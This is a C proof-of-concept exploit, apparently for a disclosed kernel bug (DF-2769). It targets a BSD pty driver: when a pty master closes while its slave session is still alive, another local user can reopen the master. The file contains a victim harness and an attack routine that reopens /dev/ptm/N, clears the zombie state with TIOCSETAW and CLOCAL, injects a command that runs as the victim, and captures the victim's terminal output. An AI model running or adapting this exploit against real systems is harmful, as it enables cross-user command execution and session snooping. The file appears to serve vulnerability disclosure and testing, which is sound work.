DF-2769 / pty_master_hijack.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 | /* * DF-2769 PoC: stale pty-master re-open = session takeover * * Scenario (sys/kern/tty_pty.c): * 1. "victim" (any local user) holds a pty slave as its controlling * terminal (e.g. the shell of a crashed xterm / dead tmux server / * nohup'd session leader that ignores SIGHUP). * 2. The legitimate master closes. ptcclose() (tty_pty.c:637-689): * - clears t_oproc (line 674) -> ptcopen's only "already have a * master" gate is disarmed * - NULLs pt_prison (line 676) -> ptcopen's prison gate skipped * - sets devs/devc to 0:0 mode 0666 (677-682) * but the master cdev /dev/ptm/N is NOT destroyed while the slave * is open (termination requires !PF_SOPEN, tty_pty.c:273). * 3. "attacker" (any other local user) opens /dev/ptm/N. * ptcopen() (tty_pty.c:560) admits it unconditionally. * 4. The TS_ZOMBIE fence set by ttymodem(0) is cleared by the NEW * master itself: ptyioctl falls through to ttioctl TIOCSETAW with * c_cflag |= CLOCAL (sys/kern/tty.c:1065-1072, 1077). * 5. Attacker now has full control of the victim's terminal: * ptcwrite() injects keystrokes the victim's shell executes, * ptcread() captures the victim's output, TIOCSIG signals its pgrp. * * Precondition: /dev/ptm/N is DEVFS_HIDDEN on a default devfs mount * (devfs_core.c:2128-2133). Exposure requires a devfs rule that shows * 'ptm' (this is exactly what jail devfs rulesets / "expose everything" * recipes do). The PoC is run with such a rule applied (set by root in * run.sh) to demonstrate the kernel-side defect. * * Usage: * ./pty_master_hijack victim # start victim session, prints pts unit, waits * ./pty_master_hijack attack <unit> <cmdfile> */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <termios.h> #include <unistd.h> #ifndef TIOCSCTTY #define TIOCSCTTY _IO('t', 132) #endif static int open_master(int unit) { char path[64]; snprintf(path, sizeof(path), "/dev/ptm/%d", unit); return open(path, O_RDWR); } static void do_victim(const char *marker) { int mfd, sfd; char *slavepath; pid_t pid; mfd = posix_openpt(O_RDWR | O_NOCTTY); if (mfd < 0) { perror("victim: posix_openpt"); exit(1); } if (grantpt(mfd) != 0) { perror("victim: grantpt"); exit(1); } if (unlockpt(mfd) != 0) { perror("victim: unlockpt"); exit(1); } slavepath = ptsname(mfd); if (slavepath == NULL) { perror("victim: ptsname"); exit(1); } /* report the slave path to the coordinator */ printf("UNIT=%s\n", slavepath); fflush(stdout); pid = fork(); if (pid < 0) { perror("fork"); exit(1); } if (pid == 0) { /* child: becomes the victim session on the slave tty */ char line[512]; FILE *mf; close(mfd); setsid(); sfd = open(slavepath, O_RDWR); if (sfd < 0) { perror("victim child: open slave"); _exit(1); } if (ioctl(sfd, TIOCSCTTY, (void *)0) < 0) perror("victim child: TIOCSCTTY"); dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2); if (sfd > 2) close(sfd); signal(SIGHUP, SIG_IGN); /* nohup semantics */ if ((mf = fopen("/tmp/df2769_victim_alive", "w")) != NULL) { fprintf(mf, "victim session started\n"); fclose(mf); } for (;;) { fflush(stdout); errno = 0; if (!fgets(line, sizeof(line), stdin)) { clearerr(stdin); usleep(200000); /* master dead -> EOF loop */ continue; } /* execute as the victim user, output goes to tty */ int rc = system(line); printf("[victim rc=%d]\n", rc); } _exit(0); } /* * Parent: model the crashed master holder (xterm / tmux server). * We deliberately do NOT kill the child; we just drop the master. */ sleep(1); /* let child settle into its session */ close(mfd); /* == master death; slave session survives */ (void)marker; printf("victim-parent: master closed, session left running (pid %d)\n", (int)pid); fflush(stdout); sleep(60); /* keep coordination simple */ exit(0); } static void do_attack(const char *ptsname_, const char *cmdfile) { int fd, unit; struct termios tio; char cmd[512]; FILE *f = fopen(cmdfile, "r"); ssize_t l; char out[1024]; struct timeval tv; fd_set rfds; unit = atoi(strrchr(ptsname_, '/') + 1); if (!f) { perror("attack: cmdfile"); exit(1); } if (!fgets(cmd, sizeof(cmd), f)) { fprintf(stderr, "empty cmd\n"); exit(1); } fclose(f); cmd[strcspn(cmd, "\n")] = 0; fd = open_master(unit); if (fd < 0) { printf("attack: open /dev/ptm/%d failed: %s\n", unit, strerror(errno)); printf("RESULT=FENCED\n"); exit((errno == ENOENT) ? 3 : 1); } printf("attack: master fd opened for unit %d\n", unit); /* resurrect the tty: clear TS_ZOMBIE via CLOCAL */ if (ioctl(fd, TIOCGETA, &tio) < 0) { perror("attack: TIOCGETA"); exit(1); } tio.c_cflag |= CLOCAL; if (ioctl(fd, TIOCSETAW, &tio) < 0) { perror("attack: TIOCSETAW"); exit(1); } printf("attack: TS_ZOMBIE cleared via TIOCSETAW+CLOCAL\n"); /* inject a command into the victim's tty (executed by victim uid) */ if (write(fd, cmd, strlen(cmd)) != (ssize_t)strlen(cmd)) { perror("attack: write"); exit(1); } write(fd, "\n", 1); printf("attack: injected: %s\n", cmd); /* capture the victim's terminal output */ for (int round = 0; round < 20; round++) { tv.tv_sec = 0; tv.tv_usec = 300000; FD_ZERO(&rfds); FD_SET(fd, &rfds); if (select(fd + 1, &rfds, NULL, NULL, &tv) > 0) { l = read(fd, out, sizeof(out) - 1); if (l > 0) { out[l] = 0; printf("attack read[%d]: %s\n", round, out); } else if (l == 0) { break; } } } printf("RESULT=HIJACKED\n"); } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s victim [marker]\n" " %s attack <pts-path> <cmdfile>\n", argv[0], argv[0]); return 1; } if (!strcmp(argv[1], "victim")) do_victim(argc > 2 ? argv[2] : NULL); else if (!strcmp(argv[1], "attack")) do_attack(argv[2], argv[3]); else { fprintf(stderr, "bad mode\n"); return 1; } return 0; } |